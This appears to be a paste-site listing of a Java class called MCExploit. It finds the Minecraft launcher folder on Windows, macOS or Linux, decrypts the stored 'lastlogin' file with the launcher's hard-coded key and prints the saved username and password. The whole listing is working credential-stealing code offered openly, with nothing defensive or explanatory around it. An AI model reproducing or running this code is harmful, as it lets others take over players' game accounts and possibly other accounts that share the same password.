· 7 years ago · Jul 03, 2018, 03:50 PM
1¨import java.io.*;
2import java.net.*;
3import java.util.*;
4import javax.crypto.*;
5import javax.crypto.spec.*;
6
7public class MCExploit
8{ public static void main(String[] args) throws Exception {
9System.out.println(MCStealer()); } public static String MCStealer() throws Exception {
10String output = null;
11Random random = new Random(43287234L);
12byte[] salt = new byte[8];
13random.nextBytes(salt);
14PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
15SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
16Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
17cipher.init(2, pbeKey, pbeParamSpec);
18if (getWorkingDirectory().exists())
19{ File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
20}
21return output; } public static File getWorkingDirectory() {
22String userHome = System.getProperty("user.home", ".");
23File workingDirectory;
24switch (getPlatform())
25{ case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");
26}
27return workingDirectory; } private static int getPlatform() {
28String osName = System.getProperty("os.name").toLowerCase();
29if (osName.contains("linux")) return 1;
30if (osName.contains("unix")) return 1;
31if (osName.contains("solaris")) return 2;
32if (osName.contains("sunos")) return 2;
33if (osName.contains("win")) return 3;
34if (osName.contains("mac")) return 4;
35return 5; }
36}